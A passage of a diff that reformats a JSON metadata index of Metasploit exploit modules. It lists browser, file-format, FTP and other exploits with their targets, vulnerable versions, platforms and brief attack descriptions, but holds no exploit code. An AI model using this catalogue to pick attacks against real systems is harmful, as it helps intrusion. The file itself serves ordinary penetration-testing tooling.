[], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99319,17 +87452,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_calendar_deserialize": { "name": "Sun Java Calendar Deserialization Privilege Escalation", "fullname": "exploit/multi/browser/java_calendar_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-12-03", "type": "exploit", @@ -99348,12 +87478,8 @@ "platform": "Linux,OSX,Solaris,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99368,17 +87494,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_getsoundbank_bof": { "name": "Sun Java JRE getSoundbank file:// URI Buffer Overflow", "fullname": "exploit/multi/browser/java_getsoundbank_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-04", "type": "exploit", @@ -99396,12 +87519,8 @@ "platform": "OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "J2SE 1.6_16 on Windows x86", "J2SE 1.6_16 on Mac OS X PPC", @@ -99414,17 +87533,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_driver_manager": { "name": "Java Applet Driver Manager Privileged toString() Remote Code Execution", "fullname": "exploit/multi/browser/java_jre17_driver_manager", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-10", "type": "exploit", @@ -99444,12 +87560,8 @@ "platform": "Java,Linux,OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99463,17 +87575,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_exec": { "name": "Java 7 Applet Remote Code Execution", "fullname": "exploit/multi/browser/java_jre17_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-26", "type": "exploit", @@ -99499,12 +87608,8 @@ "platform": "Java,Linux,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows Universal", @@ -99517,17 +87622,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_glassfish_averagerangestatisticimpl": { "name": "Java Applet AverageRangeStatisticImpl Remote Code Execution", "fullname": "exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-16", "type": "exploit", @@ -99547,12 +87649,8 @@ "platform": "Java,Linux,OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99566,17 +87664,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_jaxws": { "name": "Java Applet JAX-WS Remote Code Execution", "fullname": "exploit/multi/browser/java_jre17_jaxws", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-16", "type": "exploit", @@ -99596,12 +87691,8 @@ "platform": "Java,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows Universal", @@ -99614,17 +87705,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_jmxbean": { "name": "Java Applet JMX Remote Code Execution", "fullname": "exploit/multi/browser/java_jre17_jmxbean", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-10", "type": "exploit", @@ -99646,12 +87734,8 @@ "platform": "Java,Linux,OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99665,17 +87749,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_jmxbean_2": { "name": "Java Applet JMX Remote Code Execution", "fullname": "exploit/multi/browser/java_jre17_jmxbean_2", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-19", "type": "exploit", @@ -99699,12 +87780,8 @@ "platform": "Java,Linux,OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99718,17 +87795,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_method_handle": { "name": "Java Applet Method Handle Remote Code Execution", "fullname": "exploit/multi/browser/java_jre17_method_handle", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-16", "type": "exploit", @@ -99747,12 +87821,8 @@ "platform": "Java,Linux,OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99766,17 +87836,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_provider_skeleton": { "name": "Java Applet ProviderSkeleton Insecure Invoke Method", "fullname": "exploit/multi/browser/java_jre17_provider_skeleton", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-06-18", "type": "exploit", @@ -99796,12 +87863,8 @@ "platform": "Java,Linux,OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99815,17 +87878,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_jre17_reflection_types": { "name": "Java Applet Reflection Type Confusion Remote Code Execution", "fullname": "exploit/multi/browser/java_jre17_reflection_types", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-10", "type": "exploit", @@ -99846,12 +87906,8 @@ "platform": "Java,Linux,OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -99865,17 +87921,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_rhino": { "name": "Java Applet Rhino Script Engine Remote Code Execution", "fullname": "exploit/multi/browser/java_rhino", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-18", "type": "exploit", @@ -99895,12 +87948,8 @@ "platform": "Java,Linux,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows Universal", @@ -99914,17 +87963,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_rmi_connection_impl": { "name": "Java RMIConnectionImpl Deserialization Privilege Escalation", "fullname": "exploit/multi/browser/java_rmi_connection_impl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-31", "type": "exploit", @@ -99942,12 +87988,8 @@ "platform": "Java", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)" ], @@ -99958,17 +88000,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_setdifficm_bof": { "name": "Sun Java JRE AWT setDiffICM Buffer Overflow", "fullname": "exploit/multi/browser/java_setdifficm_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-04", "type": "exploit", @@ -99985,12 +88024,8 @@ "platform": "OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "J2SE 1.6_16 on Windows x86", "J2SE 1.6_16 on Mac OS X PPC", @@ -100003,17 +88038,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_signed_applet": { "name": "Java Signed Applet Social Engineering Code Execution", "fullname": "exploit/multi/browser/java_signed_applet", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1997-02-19", "type": "exploit", @@ -100027,12 +88059,8 @@ "platform": "Java,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -100047,17 +88075,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_storeimagearray": { "name": "Java storeImageArray() Invalid Array Indexing Vulnerability", "fullname": "exploit/multi/browser/java_storeimagearray", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-08-12", "type": "exploit", @@ -100077,12 +88102,8 @@ "platform": "Java,Linux,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows Universal", @@ -100095,17 +88116,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_trusted_chain": { "name": "Java Statement.invoke() Trusted Method Chain Privilege Escalation", "fullname": "exploit/multi/browser/java_trusted_chain", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-31", "type": "exploit", @@ -100123,12 +88141,8 @@ "platform": "Java,Linux,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows Universal", @@ -100141,17 +88155,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_verifier_field_access": { "name": "Java Applet Field Bytecode Verifier Cache Remote Code Execution", "fullname": "exploit/multi/browser/java_verifier_field_access", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-06", "type": "exploit", @@ -100176,12 +88187,8 @@ "platform": "Java,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)", @@ -100196,17 +88203,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/mozilla_compareto": { "name": "Mozilla Suite/Firefox compareTo() Code Execution", "fullname": "exploit/multi/browser/mozilla_compareto", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-07-13", "type": "exploit", @@ -100224,12 +88228,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox < 1.0.5, Mozilla < 1.7.10, Windows" ], @@ -100240,17 +88240,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/mozilla_navigatorjava": { "name": "Mozilla Suite/Firefox Navigator Object Code Execution", "fullname": "exploit/multi/browser/mozilla_navigatorjava", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-07-25", "type": "exploit", @@ -100267,12 +88264,8 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 1.5.0.4 Windows x86", "Firefox 1.5.0.4 Linux x86", @@ -100286,17 +88279,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/msfd_rce_browser": { "name": "Metasploit msfd Remote Code Execution via Browser", "fullname": "exploit/multi/browser/msfd_rce_browser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-04-11", "type": "exploit", @@ -100304,18 +88294,12 @@ "Robin Stenvi " ], "description": "Metasploit's msfd-service makes it possible to get a msfconsole-like\n interface over a TCP socket. This module connects to the msfd-socket\n through the victim's browser.\n\n To execute msfconsole-commands in JavaScript from a web application,\n this module places the payload in the POST-data. These POST-requests\n can be sent cross-domain and can therefore be sent to localhost on the\n victim's machine. The msfconsole-command to execute code is 'rbi -e\n \"CODE\"'.\n\n Exploitation when the browser is running on Windows is unreliable and\n the exploit is only usable when IE is used and the quiet-flag has been\n passed to msf-daemon.", - "references": [ - - ], + "references": [], "platform": "Ruby", "arch": "ruby", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -100326,17 +88310,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/opera_configoverwrite": { "name": "Opera 9 Configuration Overwrite", "fullname": "exploit/multi/browser/opera_configoverwrite", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-03-05", "type": "exploit", @@ -100350,12 +88331,8 @@ "platform": "Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Opera < 9.10 Unix Cmd" ], @@ -100366,17 +88343,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/opera_historysearch": { "name": "Opera historysearch XSS", "fullname": "exploit/multi/browser/opera_historysearch", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-10-23", "type": "exploit", @@ -100395,12 +88369,8 @@ "platform": "Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Opera < 9.61 Unix Cmd" ], @@ -100411,17 +88381,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/qtjava_pointer": { "name": "Apple QTJava toQTPointer() Arbitrary Memory Access", "fullname": "exploit/multi/browser/qtjava_pointer", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-04-23", "type": "exploit", @@ -100440,12 +88407,8 @@ "platform": "OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Quicktime 7 on Windows x86", "Quicktime 7 on Mac OS X PPC", @@ -100458,17 +88421,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/elasticsearch/script_mvel_rce": { "name": "ElasticSearch Dynamic Script Arbitrary Java Execution", "fullname": "exploit/multi/elasticsearch/script_mvel_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-12-09", "type": "exploit", @@ -100513,17 +88473,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/elasticsearch/search_groovy_script": { "name": "ElasticSearch Search Groovy Sandbox Bypass", "fullname": "exploit/multi/elasticsearch/search_groovy_script", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-02-11", "type": "exploit", @@ -100567,17 +88524,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/fileformat/adobe_u3d_meshcont": { "name": "Adobe U3D CLODProgressiveMeshDeclaration Array Overrun", "fullname": "exploit/multi/fileformat/adobe_u3d_meshcont", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-13", "type": "exploit", @@ -100596,12 +88550,8 @@ "platform": "Linux,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows Universal (JS Heap Spray)", "Adobe Reader Linux Universal (JS Heap Spray)" @@ -100613,17 +88563,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/archive_tar_arb_file_write": { "name": "PEAR Archive_Tar 1.4.10 Arbitrary File Write", "fullname": "exploit/multi/fileformat/archive_tar_arb_file_write", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-17", "type": "exploit", @@ -100639,12 +88586,8 @@ "platform": "PHP", "arch": "php", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Archive_Tar <= 1.4.10" ], @@ -100672,9 +88615,7 @@ "exploit_multi/fileformat/evince_cbt_cmd_injection": { "name": "Evince CBT File Command Injection", "fullname": "exploit/multi/fileformat/evince_cbt_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-13", "type": "exploit", @@ -100700,12 +88641,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -100716,17 +88653,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/ghostscript_failed_restore": { "name": "Ghostscript Failed Restore Command Execution", "fullname": "exploit/multi/fileformat/ghostscript_failed_restore", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-08-21", "type": "exploit", @@ -100743,12 +88677,8 @@ "platform": "Linux,Unix,Windows", "arch": "cmd, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix (In-Memory)", "PowerShell (In-Memory)", @@ -100765,12 +88695,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "RelatedModules": [ "exploit/unix/fileformat/ghostscript_type_confusion", "exploit/unix/fileformat/imagemagick_delegate" @@ -100782,9 +88708,7 @@ "exploit_multi/fileformat/ghostscript_format_string_cve_2024_29510": { "name": "Ghostscript Command Execution via Format String", "fullname": "exploit/multi/fileformat/ghostscript_format_string_cve_2024_29510", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-14", "type": "exploit", @@ -100801,12 +88725,8 @@ "platform": "Linux,Unix,Windows", "arch": "cmd, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux Command" ], @@ -100834,9 +88754,7 @@ "exploit_multi/fileformat/gitlens_local_config_exec": { "name": "GitLens Git Local Configuration Exec", "fullname": "exploit/multi/fileformat/gitlens_local_config_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-11-14", "type": "exploit", @@ -100854,12 +88772,8 @@ "platform": "", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux/Unix (In-Memory)", "PowerShell (In-Memory)" @@ -100889,9 +88803,7 @@ "exploit_multi/fileformat/js_unpacker_eval_injection": { "name": "Javascript Injection for Eval-based Unpackers", "fullname": "exploit/multi/fileformat/js_unpacker_eval_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-02-18", "type": "exploit", @@ -100899,18 +88811,12 @@ "joev " ], "description": "This module generates a Javascript file that executes arbitrary code\n when an eval-based unpacker is run on it. Works against js-beautify's\n P_A_C_K_E_R unpacker.", - "references": [ - - ], + "references": [], "platform": "NodeJS", "arch": "nodejs", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -100921,17 +88827,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/libreoffice_logo_exec": { "name": "LibreOffice Macro Python Code Execution", "fullname": "exploit/multi/fileformat/libreoffice_logo_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-07-16", "type": "exploit", @@ -100951,12 +88854,8 @@ "platform": "Python", "arch": "python", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -100967,17 +88866,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/libreoffice_macro_exec": { "name": "LibreOffice Macro Code Execution", "fullname": "exploit/multi/fileformat/libreoffice_macro_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-10-18", "type": "exploit", @@ -100993,12 +88889,8 @@ "platform": "Linux,Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -101010,17 +88902,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/maple_maplet": { "name": "Maple Maplet File Creation and Command Execution", "fullname": "exploit/multi/fileformat/maple_maplet", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-04-26", "type": "exploit", @@ -101035,12 +88924,8 @@ "platform": "Linux,Unix,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Windows X64", @@ -101055,17 +88940,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/nodejs_js_yaml_load_code_exec": { "name": "Nodejs js-yaml load() Code Execution", "fullname": "exploit/multi/fileformat/nodejs_js_yaml_load_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-28", "type": "exploit", @@ -101083,12 +88965,8 @@ "platform": "NodeJS", "arch": "nodejs", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -101099,17 +88977,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/office_word_macro": { "name": "Microsoft Office Word Malicious Macro Execution", "fullname": "exploit/multi/fileformat/office_word_macro", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-10", "type": "exploit", @@ -101123,12 +88998,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Word on Windows", "Microsoft Office Word on Mac OS X (Python)" @@ -101140,17 +89011,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/peazip_command_injection": { "name": "PeaZip Zip Processing Command Injection", "fullname": "exploit/multi/fileformat/peazip_command_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-06-05", "type": "exploit", @@ -101168,12 +89036,8 @@ "platform": "Linux,Unix,Windows", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -101184,17 +89048,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/swagger_param_inject": { "name": "JSON Swagger CodeGen Parameter Injector", "fullname": "exploit/multi/fileformat/swagger_param_inject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-23", "type": "exploit", @@ -101210,12 +89071,8 @@ "platform": "Java,NodeJS,PHP,Ruby", "arch": "nodejs, php, java, ruby", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "NodeJS", "PHP", @@ -101229,17 +89086,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/fileformat/visual_studio_vsix_exec": { "name": "Code Reviewer", "fullname": "exploit/multi/fileformat/visual_studio_vsix_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-22", "type": "exploit", @@ -101255,12 +89109,8 @@ "platform": "NodeJS", "arch": "nodejs", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -101288,9 +89138,7 @@ "exploit_multi/fileformat/zip_slip": { "name": "Generic Zip Slip Traversal Vulnerability", "fullname": "exploit/multi/fileformat/zip_slip", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-06-05", "type": "exploit", @@ -101306,12 +89154,8 @@ "platform": "Linux,Unix,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Manually determined" ], @@ -101322,17 +89166,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/ftp/pureftpd_bash_env_exec": { "name": "Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)", "fullname": "exploit/multi/ftp/pureftpd_bash_env_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-24", "type": "exploit", @@ -101392,9 +89233,7 @@ "exploit_multi/ftp/wuftpd_site_exec_format": { "name": "WU-FTPD SITE EXEC/INDEX Format String Vulnerability", "fullname": "exploit/multi/ftp/wuftpd_site_exec_format", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2000-06-22", "type": "exploit", @@ -101430,17 +89269,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/gdb/gdb_server_exec": { "name": "GDB Server Remote Payload Execution", "fullname": "exploit/multi/gdb/gdb_server_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-08-24", "type": "exploit", @@ -101454,12 +89290,8 @@ "platform": "Linux,OSX,Unix", "arch": "x86, x64, armle, aarch64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "x86", "x86_64", @@ -101491,9 +89323,7 @@ "exploit_multi/hams/steamed": { "name": "Steamed Hams", "fullname": "exploit/multi/hams/steamed", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-04-01", "type": "exploit", @@ -101507,12 +89337,8 @@ "platform": "Android,Apple_iOS,BSD,Java,JavaScript,Linux,Mainframe,Multi,NodeJS,OSX,PHP,Python,Ruby,Solaris,Unix,Windows", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, 